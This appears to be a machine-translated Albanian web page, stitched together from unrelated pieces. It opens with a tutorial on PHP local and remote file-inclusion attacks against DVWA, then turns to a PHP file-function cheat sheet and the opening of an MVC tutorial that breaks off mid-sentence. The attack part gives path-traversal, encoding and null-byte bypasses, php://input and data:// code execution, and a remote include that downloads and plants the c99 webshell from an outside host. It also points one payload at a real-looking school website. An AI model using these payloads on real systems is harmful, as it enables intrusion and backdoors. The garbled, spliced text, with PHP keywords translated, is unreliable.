Shikimi imagjinar i skedarit php. Skedari - Lexon përmbajtjen e një skedari dhe e vendos atë në një grup. Puna me skedarë në server

Ndonjëherë injektimi i skedarit quhet përfshirje, ndonjëherë konsiderohet si pjesë e injektimit të PHP (injeksioni i kodit). Kjo e fundit nuk është plotësisht e vërtetë, pasi dobësitë e injektimit të skedarëve nuk lidhen domosdoshmërisht me ekzekutimin e kodit.

Dobësia mund të ndodhë kur përdorni (në PHP) shprehje të tilla si:

  • kërkon_një herë,
  • përfshijnë_një herë,
  • përfshijnë,
  • kërkojnë

Secila prej tyre ka nuanca të vogla, por e përbashkëta e tyre është se ato përfshijnë një skedar në program dhe e ekzekutojnë atë. Këto shprehje mund të shkaktojnë probleme nëse kalojnë hyrjen e përdoruesit dhe programi nuk e filtron atë sa duhet.

Meqë ra fjala, po, këto janë shprehje, jo funksione. Nuk është e nevojshme të shkruhet kështu:

Require ("somefile.php");

Një opsion më i preferuar është:

Kërkoni "somefile.php";

Por kjo është një tërheqje që nuk ka të bëjë fare me cenueshmërinë.

Nëse skedarët përfshihen duke përdorur shprehjet kërkoj_një herë, përfshi_një herë, përfshij, kërkojmë, atëherë mund të themi se injektimi i kodit gjithashtu bëhet në të njëjtën kohë. Sidoqoftë, është e mundur të përfshihen skedarë pa kod të ekzekutuar në server. Për shembull, një faqe interneti ndryshon pamjen e saj bazuar në temën e zgjedhur nga përdoruesi. Emri i temave korrespondon me emrin e skedarëve HTML që lexohen në server. Në këtë situatë, nëse kërkesa është formuar në atë mënyrë që të lexojë një skedar që nuk është i destinuar për këtë (për shembull, një skedar PHP), atëherë në vend të ekzekutimit të komandave, do të shfaqet kodi burimor PHP.

Përdoruesi mund të specifikojë një skedar të largët ose lokal si skedar përfshirje. Bazuar në këtë, dallohen dy varietete përkatëse:

  • injektimi i skedarit lokal
  • injektimi i skedarit në distancë

Rreziku i përfshirjes në distancë është ekzekutimi i kodit arbitrar në një server të cenueshëm. Kjo zakonisht përdoret për infeksionet e pasme.

Rreziku i injektimit të skedarëve lokal është se përdoruesi mund të shfaqë përmbajtjen e skedarëve që nuk ka të drejta t'i shikojë (kodet burimore të programit, skedarët e sistemit me cilësime dhe fjalëkalime). Gjithashtu, me përfshirjen lokale, është e mundur të ekzekutohet kodi i palëve të treta (për shembull, për infeksion në prapavijë), nëse një skedar me kod me qëllim të keq është ngarkuar më parë në server, ose është përdorur metoda e helmimit të regjistrit, ose disa metoda të tjera.

Përfshirja lokale e skedarëve nuk është më pak e rrezikshme sesa futja e skedarëve në distancë.

Duke shfrytëzuar futjen e skedarëve lokalë

Ju mund të provoni dorën tuaj në këtë dobësi në aplikacionin uebi Damn Vulnerable (DVWA). Unë jam duke përdorur Web Security Dojo, ku DVWA është instaluar tashmë.

Le të fillojmë me një nivel të ulët (Siguria e ulët DVWA).

Le të shkojmë në faqen e Përfshirjes së Skedarit http://localhost/dvwa/vulnerabilities/fi/?page=include.php

  • http://localhost/dvwa/vulnerabilities/fi/?page=file1.php
  • http://localhost/dvwa/vulnerabilities/fi/?page=file2.php
  • http://localhost/dvwa/vulnerabilities/fi/?page=file3.php

Nëse një vlerë e ngjashme me një emër skedari (file1.php, file2.php) kalohet si argument në një variabël, atëherë mund të supozojmë se një përfshirje është duke u përdorur. Meqenëse zgjerimi i skedarit është .php, skedari ka shumë të ngjarë të ekzekutohet në server (d.m.th. injektimi i kodit është i mundur) dhe jo thjesht të shfaqet për t'u shfaqur.

DVWA ka një faqe http://localhost/dvwa/about.php, ndodhet dy nivele më lart, le të përpiqemi ta shikojmë në këtë mënyrë: http://localhost/dvwa/vulnerabilities/fi/?page=../. ./ rreth.php

Po, ekziston një cenueshmëri lokale e përfshirjes. Kur futni, kalimet në drejtoritë e sipërme (../) nuk filtrohen; lista e skedarëve për përfshirje nuk është shteruese (në vend të skedarit të sugjeruar*.php, ne zgjodhëm about.php).

Ndonjëherë përdoren skedarë të përfshirë, por adresat mund të duken, për shembull, si kjo: http://localhost/dvwa/vulnerabilities/fi/?page=file1. Në këtë rast, një shtesë mund t'i shtohet skriptit dhe skripti vendos një skedar emri i të cilit më në fund formohet në skript. Në mënyrë tipike, një cenueshmëri në këtë formë është e vështirë/e pamundur për t'u shfrytëzuar.

Shpesh njerëzve u pëlqen të japin diçka të tillë si një shembull i shfrytëzimit të përfshirjes së skedarëve lokalë:

http://localhost/dvwa/vulnerabilities/fi/?page=../../../../../../../etc/passwd

Siç mund ta shohim, funksionoi. Por meqenëse shfletuesit e internetit injorojnë /r/n (karakteret e linjës së re), ne duhet të hapim kodin me burim për t'i bërë hyrjet të lexueshme:

Fatkeqësisht, nuk ka fjalëkalime në skedarin /etc/passwd për një kohë të gjatë.

Nga serveri mund të tërhiqni skedarë të ndryshëm cilësimeve, certifikata SSL, në parim, çdo skedar që është i hapur për lexim nga të gjithë përdoruesit ose për të cilin serveri në internet ka të drejta të mjaftueshme për të lexuar:

http://localhost/dvwa/vulnerabilities/fi/?page=../../../../../../../etc/apache2/apache2.conf

Sa për hostet e përbashkëta, ndonjëherë është e mundur të shikoni dosjet e njerëzve të tjerë (përsëri, nëse të drejtat e përdoruesit janë konfiguruar gabimisht).

http://localhost/dvwa/vulnerabilities/fi/?page=../../../evil/sqlite.db

Detyra është e ndërlikuar nga fakti se ne duhet të dimë rrugën drejt skedarit.

Funksionimi i injektimit të skedarëve në distancë

PHP është një gjuhë programimi shumë fleksibël dhe miqësore për zhvilluesit. Komandat e futjes së skedarëve dhe disa të tjera njohin dhe përpunojnë në mënyrë të përsosur jo vetëm skedarët lokalë, por edhe URL-të...

Le të përpiqemi të shkruajmë URL-në e faqes https://site/ në vend të emrit të skedarit:

http://localhost/dvwa/vulnerabilities/fi/?page=https://site/

Shikoni sa interesante rezulton:

Ndodhi si më poshtë: përkthyesi PHP mori një komandë për të përfshirë skedarin/faqen https://site/. Ai hapi/shkarkoi adresën përkatëse dhe dërgoi kodin që rezulton për t'u ekzekutuar si një program PHP. Meqenëse PHP ekzekuton vetëm kodin e rrethuar nga etiketat e duhura (në këtë rast nuk kishte fare kod) dhe nxjerr gjithçka tjetër siç është, e gjithë faqja e faqes së internetit del siç është.

Natyrisht, kjo dobësi është interesante për ne jo sepse ne mund të shikojmë faqe të tjera përmes një sajti.

  • Gjenerimi/gjetja e kodit burimor të derës së pasme
  • Ne krijojmë një skedar që është i saktë nga pikëpamja PHP për ekzekutim në server, i cili ruan kodin burimor të backdoor në një skedar PHP
  • Ruani kodin e marrë në një skedar TEXT
  • Ngarkoni këtë skedar teksti në një server të kontrolluar
  • Ne e ruajmë derën e pasme në një server të cenueshëm duke përdorur një përfshirje skedari në distancë
  • E theksova fjalën "tekst" për arsye se në serverin nën kontrollin tonë duhet të ketë një skedar teksti që nuk duhet të ekzekutohet në serverin tonë. Serveri ynë duhet vetëm të tregojë përmbajtjen e tij.

    Për të krijuar një backdoor, mund të përdorni Weevely, PhpSploit ose mund të merrni zgjidhje të gatshme. Le të përdorim një të gatshme këtë herë.

    Unë do t'i caktoj variablit $backdoor kodin burimor të backdoor, të cilin e shkarkoj nga Github. Më pas përdor funksionin file_put_contents për të ruajtur kodin burimor që rezulton në skedarin c99unlimited.php.

    Kodi që kam vendosur në një skedar teksti

    $backdoor = file_get_contents ("https://raw.githubusercontent.com/BlackArch/webshells/master/php/c99unlimited.php"); file_put_contents("c99unlimited.php", "$backdoor"); jehonë "u bë!";

    Është në dispozicion në http://miloserdov.org/sec.txt

    Tani, duke përdorur një përfshirje në distancë, ne ngarkojmë një derë të pasme në një server të cenueshëm.

    http://localhost/dvwa/vulnerabilities/fi/?page=http://miloserdov.org/sec.txt

    Kushtojini vëmendje mbishkrimit të bërë!, ai shfaqet nga shkrimi, d.m.th. gjithçka ka funksionuar me siguri.

    Meqenëse skripti që përfshin skedarët ndodhet në drejtorinë http://localhost/dvwa/vulnerabilities/fi/ dhe skedari ynë i ri me backdoor duhet të ishte ruajtur me emrin c99unlimited.php, adresa e plotë e derës së pasme në serveri i cenueshëm duhet të jetë: http: //localhost/dvwa/vulnerabilities/fi/c99unlimited.php

    Ne kontrollojmë:

    E shkëlqyeshme, tani kemi të gjitha veçoritë që mund t'i nevojiten një administratori të serverit në internet... dhe atyre që kanë akses në serverin e tyre.

    Anashkaloni filtrimin kur përfshini skedarë në nivel lokal

    Le të kalojmë në nivelin mesatar të sigurisë (i konfigurueshëm në DVWA Security).

    Nëse shikojmë kodin burimor (butoni Shiko Burimin):

    atëherë do të shohim që karakteret ../ tani janë filtruar. Kjo do të na pengojë të kalojmë në një drejtori më të lartë se ajo në të cilën po ekzekutohet skripti i cenueshëm.

    Ato. asgjë nuk do të funksionojë si kjo:

    http://localhost/dvwa/vulnerabilities/fi/?page=../../../../../../../etc/mysql/my.cnf

    Le të mendojmë se si funksionon filtrimi në këtë rast? Le të themi se fjala "e keqe" filtrohet, pastaj një rresht si

    e mire e keqe e mire

    pas filtrimit do të duket kështu:

    mirë mirë

    Dhe nëse futni një rresht si ky

    keq e keqe xo

    atëherë pas filtrimit ("e keqja" do të hiqet) do të dalë

    Keq

    Në ../ fusim sërish ../ në mes, del ..././

    Le të provojmë këtë adresë http://localhost/dvwa/vulnerabilities/fi/?page=…/./…/./…/./…/./…/./…/./…/./etc/mysql / my.cnf

    Funksionoi!

    Një zgjidhje tjetër mund të jetë kodimi i karaktereve në kodimin heksadecimal, një shembull i kësaj rreshti:

    http://example.com/index.php?file=..%2F..%2F..%2F..%2Fetc%2Fpasswd

    "../" mund të zëvendësohet me "%2E%2E%2f".

    Praktikohet gjithashtu kodimi i dyfishtë heks, në të cilin "../" zëvendësohet me "%252E%252E%252F"

    Përfshirja lokale e skedarëve kur shtoni një shtesë në një skenar

    Nëse kodi që përfshin skedarët duket si:

    Ato. Nëse një .php ose ndonjë shtesë tjetër i shtohet ndonjë hyrjeje të përdoruesit, kjo nuk lejon që kërkesa të formohet në mënyrë të tillë që të kryejë një sulm.

    Ka disa teknika që janë krijuar për të hedhur poshtë shtesën, por ato mund të konsiderohen të vjetruara pasi ato funksionojnë në PHP 5.3, dhe madje jo të gjitha versionet. Sidoqoftë, administratorët e serverit në internet janë klinikisht konservatorë dhe preferojnë të mos prekin asgjë nëse funksionon. Ato. Ekziston një shans për të hasur në një server me një version shumë të lashtë të PHP, dhe ju duhet të jeni të vetëdijshëm për këto teknika.

    Duke përdorur bajtin null %00 (bajt null)

    Një bajt null shtohet në fund të kërkesës për të injoruar zgjerimin:

    http://www.bihtapublicschool.co.in/index.php?token=/etc/passwd%00

    Metoda e dytë quhet sulm i krasitjes së rrugës. Në fund të fundit është se PHP shkurton shtigjet më të gjata se 4096 bajt. Në këtë rast, PHP e hap skedarin saktë, edhe nëse ka prerje dhe pika në fund të emrit të tij. Nëse kaloni si parametër diçka si?param1=../../../../etc/passwd/./././././ (ku ./ përsëritet mijëra herë), atëherë skedari përfundimtar së bashku me shtesën (të cilën skripti e shtoi, si rezultat i së cilës emri i skedarit u bë përfshin/../../../../etc/passwd/./././././ .php) do të hidhet poshtë. Dhe emri i skedarit do të përfshihet/../../../../etc/passwd/./././././. Dhe meqenëse PHP nuk ngatërrohet nga vija e pjerrët dhe ./ në fund të skedarit, thjesht i injoron ato, në total PHP do të hapë skedarin përgjatë shtegut përfshin/../../../../etc/ passwd.

    Duke anashkaluar filtrimin për injektimin e skedarëve në distancë

    Siç e pamë tashmë në kodin burimor, niveli mesatar i sigurisë gjithashtu filtron http:// dhe https://.

    Tani http://localhost/dvwa/vulnerabilities/fi/?. Ne do të përdorim saktësisht të njëjtën teknikë si për të anashkaluar filtrimin me përfshirjen lokale. Kërkesa e krijuar:

    http://localhost/dvwa/vulnerabilities/fi/?page=htthttps://ps://site/

    Dhe gjithashtu vini re se nuk është i filtruar, për shembull ftp, d.m.th. Ky opsion do të funksiononte pa asnjë mashtrim fare:

    http://localhost/dvwa/vulnerabilities/fi/?page=ftp://site/

    Marrja e kodit burimor të skripteve PHP kur përfshin skedarë nga php://filter

    Ky mashtrim nuk kërkon përfshirje të skedarëve në distancë. Do të përdoret një lloj meta mbështjellësi php://filter.

    Le të themi se duam të shohim kodin burimor të skedarit file1.php, atëherë për situatën tonë kërkesa do të përbëhet si kjo:

    http://localhost/dvwa/vulnerabilities/fi/?page=php://filter/read=convert.base64-encode/resource=file1.php

    Kushtojini vëmendje vargut të pakuptimtë të shkronjave dhe numrave - ky është kodi burim i skedarit file1.php në kodimin base64. Meqenëse është base64, skedarët binare janë gjithashtu të mbështetur.

    Le të deshifrojmë skedarin:

    Ekzekutimi i kodit në distancë me hyrjen php://

    Kjo nuk është si futja e skedarëve dhe përsëri nuk kërkon që ju të ngarkoni skedarë.

    Për të ndihmuar, unë do të përdor shtesën FireFox, ju gjithashtu mund ta përdorni atë ose ndonjë program tjetër (për shembull, curl) që mund të transferojë të dhëna duke përdorur metodën POST.

    php://input ka qasje në trupin e papërpunuar të kërkesës HTTP, për të kuptuar se çfarë bën include("php://input"), hapni faqen

    http://localhost/dvwa/vulnerabilities/fi/?page=php://input

    Dhe në trupin e kërkesës, dërgoni kodin e saktë PHP (për shembull, duke përdorur metodën POST). Kjo do t'ju lejojë të kryeni çdo funksion të lejuar në serverin në distancë!

    Ekzekutimi i kodit në distancë me të dhëna: //

    Për më tepër, PHP mbështet skemën data:// URL. Mund ta vendosni kodin direkt në parametrin GET! Testi i mëposhtëm nuk kërkon ndonjë mjet të veçantë, vetëm një shfletues të rregullt për të kryer sulmin.

    http://localhost/dvwa/vulnerabilities/fi/?page=data:text/plaintext,

    Disa mure zjarri të aplikacioneve në ueb mund të vërejnë një varg të dyshimtë në një URL dhe të bllokojnë kërkesën me qëllim të keq. Por ekziston një mënyrë për të enkriptuar vargun me të paktën kodimin bazë64:

    http://localhost/dvwa/vulnerabilities/fi/?page=data:text/plain;base64, PD9waHAgcGhwaW5mbygpOyA/Pg==

    Ekzekutoni komanda arbitrare nga /proc/self/environ

    /proc/self/environ është ruajtja e variablave të procesit. Nëse procesi Apache ka të drejta të mjaftueshme për të hyrë në të, atëherë kur hapni një faqe interneti që përmban një përfshirje me një URL të ngjashme,

    www.website.com/view.php?page=../../../../../proc/self/environ

    do të nxjerrë diçka të tillë

    DOCUMENT_ROOT=/home/sirgod/public_html GATEWAY_INTERFACE=CGI/1.1 HTTP_ACCEPT=tekst/html, aplikacion/xml;q=0.9, aplikacion/xhtml+xml, imazh/png, imazh/jpeg, imazh/gif, imazh/x-xbitmap , */*;q=0.1 HTTP_COOKIE=PHPSESSID=HTTP_HOST=www.website.com HTTP_REFERER=http://www.website.com/index.php?view=../../../../. ./../etc/passwd HTTP_USER_AGENT=Opera/9.80 (Windows NT 5.1; U; en) Presto/2.2.15 Version/10.00 PATH=/bin:/usr/bin QUERY_STRING=view=..%2F..% 2F..%2F..%2F..%2F..%2Fproc%2Fself%2Fenviron REDIRECT_STATUS=200 REMOTE_ADDR=6x.1xx.4x.1xx REMOTE_PORT=35665 REQUEST_METHOD=GET_phURI? %2F..%2F..%2F..%2F..%2F..%2Fproc%2Fself%2Fenviron SCRIPT_FILENAME=/home/sirgod/public_html/index.php SCRIPT_NAME=/index.php SERVER_ADDR=1xx.1xx. 1xx.6x [email i mbrojtur] SERVER_NAME=www.website.com SERVER_PORT=80 SERVER_PROTOCOL=HTTP/1.0 SERVER_SIGNATURE=

    Kushtojini vëmendje HTTP_USER_AGENT. Në vend të kësaj, ju mund të zëvendësoni kodin e saktë PHP, i cili do të ekzekutohet në një server të largët.

    Gdhendja dhe injektimi i regjistrave kur përfshihen skedarët në nivel lokal

    Fatkeqësisht, kjo metodë nuk funksionon më në versionet e fundit të Apache.

    Thelbi i tij qëndron në faktin se kodi i sulmuesit është injektuar në regjistrat e serverit në internet. Kjo mund të bëhet duke zëvendësuar User-Agent, ose thjesht duke e kaluar atë në një parametër GET.

    Injeksion statik i një skedari në distancë

    Shembuj të një statike përfshijnë:

    Ju mund të përdorni një përfshirje statike në situata shumë ekzotike. Për të injektuar kodin me qëllim të keq, është e nevojshme të kryhet një sulm njeri në mes midis dy serverëve: njëri prej të cilëve pret aplikacionin në internet duke përdorur përfshirjen dhe i dyti pret skedarin e përdorur për përfshirjen.

    PHP file_exists("test.txt")//A ekziston skedari? filesize("test.txt");//Zbulo madhësinë e skedarit //Vula kohore është kthyer: fileatime("test.txt");//Data e hyrjes së fundit në skedar //data("d M Y" , $atime); filemtime("test.txt");//Data e modifikimit të skedarit //data ("d M Y", $mtime); filectime("test.txt");//Data e krijimit të skedarit (Windows) //data ("d M Y", $ctime); Skedarët: mënyrat e funksionimit të burimit PHP i hapur (emri i skedarit të vargut, modaliteti i vargut) // burimi - kthen një tregues në skedar në rast suksesi, ose FALSE në rast gabimi Përshkrimi i mënyrës së funksionimitr r+ w w+ A a+ b
    skedari i hapur vetëm për lexim;
    hapni skedarin për lexim dhe shkrim;
    hapni skedarin vetëm për shkrim. Nëse ekziston, atëherë përmbajtja aktuale e skedarit shkatërrohet. Pozicioni aktual është vendosur në fillim;
    hapni skedarin për lexim dhe shkrim. Nëse ekziston, atëherë përmbajtja aktuale e skedarit shkatërrohet. Pozicioni aktual është vendosur në fillim;
    hapni skedarin për shkrim. Pozicioni aktual është vendosur në fund të skedarit;
    hapni skedarin për lexim dhe shkrim. Pozicioni aktual është vendosur në fund të skedarit;
    përpunoni skedarin binar. Ky flamur kërkohet kur punoni me skedarë binare në Windows.
    Hapja dhe mbyllja e skedarëve në PHP PHP $fi = fopen("test.html", "w+") ose die("Gabim"); //Shembuj $fi = fopen("http://www.you/test.html","r"); $fi = fopen ("http://ftp.you/test.html", "r"); //Mbyll fclose($fi) Leximi i skedarëve në PHP PHP //Leximi i skedarit fread(int fi, gjatësia int) $str = fread($fi, 5); // Lexoni 5 karakteret e para echo $str; // meqenëse kursori ka lëvizur $str = fread($fi, 12); // Lexoni 12 karakteret e ardhshme echo $str; fgets(int fi[, int length]) // Lexoni një rresht nga një skedar fgetss(int fi, int gjatësi [, vargu i lejueshëm]) // Lexoni një rresht nga një skedar dhe hidhni etiketat HTML // vargjet e lejuara - etiketat që duhet të lihet fgetc(int fi) //Lexon një karakter nga një skedar

    Fillimisht, Write do të ndodhë në fillim të skedarit, duke mbishkruar të dhënat ekzistuese, nëse ka. Prandaj, nëse duhet të shkruani diçka deri në fund të skedarit, duhet të vendosni mënyrën e duhur të leximit, për shembull, a+.

    Manipulimi i kursorit në skedarët PHP PHP int fseek(int fi, int offset [, int wherece]) //Vendosja e kursorit // int fi - treguesi në skedar //offset - numri i karaktereve që duhet lëvizur. //whence: //SEEK_SET - lëvizja fillon nga fillimi i skedarit; //SEEK_CUR - lëvizja fillon nga pozicioni aktual; //SEEK_END - lëvizja fillon nga fundi i skedarit. fseek($fi, -10, SEEK_END); //Lexo 10 karakteret e fundit $s = fread($fi, 10); $pos = ftell($fi); // Gjeni pozicionin aktual rewind($f) // rivendosni kursorin bool feof($f) // fundi i skedarit Puna e drejtpërdrejtë me skedarët (të dhënat) në PHP Skedari i grupit PHP (emri i skedarit të vargut) // Merrni përmbajtjen i skedarit në formën e një grupi // Një tjetër mundësi për të punuar drejtpërdrejt me të dhënat file_get_contents(emri i skedarit të vargut) //Leximi (e marrim të gjithë skedarin në një rresht) //Shkrimi në skedar (fillimisht i mbishkruar) file_put_contents(emri i skedarit të vargut , të dhëna të përziera[,int flag]); //FILE_APPEND // Shkruani në fund të skedarit: file_put_contents("test.txt", "data", FILE_APPEND); //Nëse shkruani një grup, $array = array("I", "live"); file_put_contents("test.txt",$array); //pastaj marrim "Ilive" Menaxhimi i skedarëve në kopjen e php PHP (burimi i vargut, destinacioni i vargut); // Kopjimi i riemrit të skedarit (str emri i vjetër, str emri i ri); // Riemërto skedarin unlink(string filename); // Fshirja e një skedari Ngarkimi i skedarëve në serverin PHP // PHP.ini settings file_uploads (on|off) // lejimi ose çaktivizimi i ngarkimeve të skedarëve upload_tmp_dir // dosje e përkohshme për skedarët e ngarkuar. sipas parazgjedhjes dosja e përkohshme upload_max_filesize (parazgjedhja = 2 Mb) // max. madhësia e skedarit të ngarkuar post_max_size // madhësia totale e formularit të dërguar (duhet të jetë më e madhe se upload_max_filesize) //Ngarkim i thjeshtë HTML Ne punojmë me skedarë në serverin PHP //Marrim të dhëna $tmp = $_FILES["file përdoruesi"][" tmp_emri"]; $emri = $_FILES["skedari i përdoruesit"]["emri"]; //Lëviz skedarin move_uploaded_file($tmp, emri); move_loaded_file($tmp, "upload/".emri); // ridrejtoni skedarin në dosjen e ngarkimit // në lidhje me skedarin aktual // Çfarë ka në grupin $_FILES $_FILES["userfile"]["emri"] // emri i skedarit, për shembull, test.html $_FILES[ "skedari i përdoruesit"][" tmp_name"] // emri i skedarit të përkohshëm (shtegu) $_FILES["skedari i përdoruesit"]["madhësia"] // madhësia e skedarit $_FILES["skedari i përdoruesit"]["lloji"] // lloji i skedarit $ _FILES["skedari i përdoruesit"] ["gabim"] // 0 - pa gabime, numër - po Shumë njerëz fillojnë të shkruajnë një projekt për të punuar me një detyrë të vetme, duke mos nënkuptuar se ai mund të rritet në një sistem menaxhimi me shumë përdorues, për shembull. , përmbajtje ose, Zoti na ruajt, prodhim. Dhe gjithçka duket e mrekullueshme dhe e lezetshme, gjithçka funksionon, derisa të filloni të kuptoni se kodi që është shkruar përbëhet tërësisht nga paterica dhe kod i fortë. Kodi është i përzier me paraqitje, pyetje dhe paterica, ndonjëherë edhe i palexueshëm. Shfaqet një problem urgjent: kur shtoni veçori të reja, duhet të ndërhyni me këtë kod për një kohë shumë të gjatë, duke kujtuar "çfarë ishte shkruar atje?" dhe mallkoni veten në të kaluarën.

    Ju madje mund të keni dëgjuar për modelet e dizajnit dhe madje të keni shfletuar këto libra të mrekullueshëm:

    • E. Gamma, R. Helm, R. Johnson, J. Vlissides “Teknikat e projektimit të orientuara nga objekti. Modelet e Dizajnit";
    • M. Fowler "Architecture of Enterprise Software Applications."
    Dhe shumë, të patrembur nga manualet dhe dokumentacioni i madh, u përpoqën të studionin ndonjë nga kornizat moderne dhe, të përballur me kompleksitetin e të kuptuarit (për shkak të pranisë së shumë koncepteve arkitekturore të lidhura me zgjuarsi me njëri-tjetrin), e shtynë studimin dhe përdorimin e mjete moderne "në pjesën e pasme të ndezjes".

    Ky artikull do të jetë i dobishëm kryesisht për fillestarët. Në çdo rast, shpresoj që brenda disa orësh do të jeni në gjendje të merrni një ide për zbatimin e modelit MVC, i cili qëndron në themel të të gjitha kornizave moderne të internetit, dhe gjithashtu të merrni "ushqim" për reflektim të mëtejshëm mbi "si të beje." Në fund të artikullit ka një përzgjedhje lidhjesh të dobishme që do t'ju ndihmojnë gjithashtu të kuptoni se nga çfarë përbëhen kornizat e internetit (përveç MVC) dhe si funksionojnë ato.

    Programuesit me përvojë të PHP-së nuk kanë gjasa të gjejnë ndonjë të re për veten e tyre në këtë artikull, por komentet dhe komentet e tyre në tekstin kryesor do të ishin shumë të dobishme! Sepse Pa teori, praktika është e pamundur, dhe pa praktikë, teoria është e kotë, pastaj së pari do të ketë pak teori dhe pastaj do të kalojmë në praktikë. Nëse tashmë jeni njohur me konceptin MVC, mund të kaloni seksionin e teorisë dhe të shkoni direkt në praktikë.

    1. Teoria Modeli MVC përshkruan një mënyrë të thjeshtë për të strukturuar një aplikacion, qëllimi i së cilës është të ndajë logjikën e biznesit nga ndërfaqja e përdoruesit. Si rezultat, aplikacioni është më i lehtë për t'u shkallëzuar, testuar, mirëmbajtur dhe, natyrisht, zbatuar.

    Le të shohim diagramin konceptual të modelit MVC (për mendimin tim, ky është diagrami më i suksesshëm që kam parë):

    Në arkitekturën MVC, modeli siguron të dhënat dhe rregullat e logjikës së biznesit, pamja është përgjegjëse për ndërfaqen e përdoruesit dhe kontrolluesi siguron ndërveprimin midis modelit dhe pamjes.

    Një rrjedhë tipike e një aplikacioni MVC mund të përshkruhet si më poshtë:

  • Kur një përdorues viziton një burim në internet, skripti i inicializimit krijon një shembull të aplikacionit dhe e nis atë për ekzekutim.
    Kjo tregon një pamje të, të themi, faqes kryesore të faqes.
  • Aplikacioni merr një kërkesë nga përdoruesi dhe përcakton kontrolluesin dhe veprimin e kërkuar. Në rastin e faqes kryesore, kryhet veprimi i paracaktuar ( indeks).
  • Aplikacioni instancon kontrolluesin dhe ekzekuton metodën e veprimit,
    e cila, për shembull, përmban thirrje modele që lexojnë informacion nga baza e të dhënave.
  • Pas kësaj, veprimi krijon një pamje me të dhënat e marra nga modeli dhe i shfaq rezultatin përdoruesit.
  • Modeli - përmban logjikën e biznesit të aplikacionit dhe përfshin metoda për marrjen (këto mund të jenë metoda ORM), përpunim (për shembull, rregullat e vlefshmërisë) dhe ofrimin e të dhënave specifike, gjë që shpesh e bën atë shumë të trashë, gjë që është krejt normale.
    Modeli nuk duhet të ndërveprojë drejtpërdrejt me përdoruesin. Të gjitha variablat që lidhen me kërkesën e përdoruesit duhet të përpunohen në kontrollues.
    Modeli nuk duhet të gjenerojë HTML ose kod tjetër ekrani që mund të ndryshojë në varësi të nevojave të përdoruesit. Një kod i tillë duhet të përpunohet në pamje.
    I njëjti model, për shembull: modeli i vërtetimit të përdoruesit mund të përdoret si në pjesën e përdoruesit ashtu edhe në atë administrative të aplikacionit. Në këtë rast, ju mund ta zhvendosni kodin e përgjithshëm në një klasë të veçantë dhe të trashëgoni prej saj, duke përcaktuar metodat specifike të nën-aplikacionit në pasardhësit e tij.

    Pamje - përdoret për të specifikuar shfaqjen e jashtme të të dhënave të marra nga kontrolluesi dhe modeli.
    Pamjet përmbajnë shënime HTML dhe futje të vogla të kodit PHP për të përshkuar, formatuar dhe shfaqur të dhënat.
    Nuk duhet të hyjë drejtpërdrejt në bazën e të dhënave. Kjo është ajo që duhet të bëjnë modelet.
    Nuk duhet të funksionojë me të dhënat e marra nga një kërkesë e përdoruesit. Kjo detyrë duhet të kryhet nga kontrolluesi.
    Mund të aksesojë drejtpërdrejt vetitë dhe metodat e një kontrolluesi ose modeli për të marrë të dhëna të gatshme për dalje.
    Pamjet zakonisht ndahen në një shabllon të përbashkët, që përmban shënjimin e përbashkët për të gjitha faqet (për shembull, një kokë dhe fund) dhe pjesë të shabllonit që përdoren për të shfaqur daljen e të dhënave nga modeli ose për të shfaqur formularët e futjes së të dhënave.

    Kontrolluesi është ngjitësi që lidh modelet, pamjet dhe komponentët e tjerë në një aplikacion pune. Kontrolluesi është përgjegjës për përpunimin e kërkesave të përdoruesve. Kontrolluesi nuk duhet të përmbajë pyetje SQL. Është më mirë t'i mbani ato në modele. Kontrolluesi nuk duhet të përmbajë HTML ose shënime të tjera. Ia vlen të merret në sy.
    Në një aplikacion MVC të dizajnuar mirë, kontrollorët janë zakonisht shumë të hollë dhe përmbajnë vetëm disa dhjetëra rreshta kodi. E njëjta gjë nuk mund të thuhet për Kontrolluesit Stupid Fat (SFC) në CMS Joomla. Logjika e kontrolluesit është mjaft tipike dhe shumica e saj transferohet në klasat bazë.
    Modelet, përkundrazi, janë shumë të trasha dhe përmbajnë pjesën më të madhe të kodit që lidhet me përpunimin e të dhënave, sepse struktura e të dhënave dhe logjika e biznesit të përfshira në të janë zakonisht mjaft specifike për një aplikacion të caktuar.

    1.1. Kontrolluesi i përparmë dhe kontrolluesi i faqeve Në shumicën e rasteve, ndërveprimi i përdoruesit me një aplikacion në internet ndodh duke klikuar në lidhje. Shikoni tani në shiritin e adresave të shfletuesit tuaj - e keni marrë këtë tekst nga kjo lidhje. Lidhje të tjera, si ato në anën e djathtë të kësaj faqeje, do t'ju ofrojnë përmbajtje të ndryshme. Kështu, lidhja përfaqëson një komandë specifike për aplikacionin në internet.

    Shpresoj ta keni vënë re tashmë se sajte të ndryshme mund të kenë formate krejtësisht të ndryshme për ndërtimin e shiritit të adresave. Çdo format mund të shfaqë arkitekturën e një aplikacioni ueb. Edhe pse kjo nuk është gjithmonë kështu, në shumicën e rasteve është një fakt i qartë.

    Le të shqyrtojmë dy opsione për shiritin e adresave, të cilat shfaqin një tekst dhe një profil përdoruesi.

    Opsioni i parë:

  • www.example.com/article.php?id=3
  • www.example.com/user.php?id=4
  • Këtu, çdo skript është përgjegjës për ekzekutimin e një komande specifike.

    Opsioni i dytë:

  • www.example.com/index.php?article=3
  • www.example.com/index.php?user=4
  • Dhe këtu të gjitha thirrjet ndodhin në një skenar index.php.

    Ju mund të shihni qasjen me shumë pika prekje në forumet phpBB. Forumi shikohet përmes skriptit viewforum.php, tema shikohet përmes viewtopic.php etj. Qasja e dytë, e aksesuar përmes një skedari të vetëm skripti fizik, mund të shihet në CMS MODX tim të preferuar, ku të gjitha thirrjet kalojnë përmes index.php.

    Këto dy qasje janë krejtësisht të ndryshme. E para është tipike për modelin e Kontrolluesit të Faqes dhe qasja e dytë zbatohet nga modeli i Kontrolluesit të përparmë. Kontrolluesi i faqes është i mirë për faqet me logjikë mjaft të thjeshtë. Nga ana tjetër, kontrolluesi i kërkesës konsolidon të gjitha aktivitetet e përpunimit të kërkesave në një vend, gjë që i jep atij aftësi shtesë që mund t'ju lejojnë të zbatoni detyra më komplekse sesa zgjidhen zakonisht nga kontrolluesi i faqes. Nuk do të hyj në detaje të zbatimit të kontrolluesit të faqeve, por do të them vetëm se në pjesën praktike do të jetë kontrolluesi i kërkesës (diçka e ngjashme) që do të zhvillohet.

    1.2. Rruga e URL-së Rruga e URL-së ju lejon të konfiguroni aplikacionin tuaj për të pranuar kërkesa nga URL-të që nuk korrespondojnë me skedarët aktualë të aplikacionit dhe të përdorni CNC që kanë kuptim semantikisht për përdoruesit dhe të preferuara për optimizimin e motorëve të kërkimit.

    Për shembull, për një faqe të rregullt që shfaq një formë kontakti, URL-ja mund të duket si kjo:
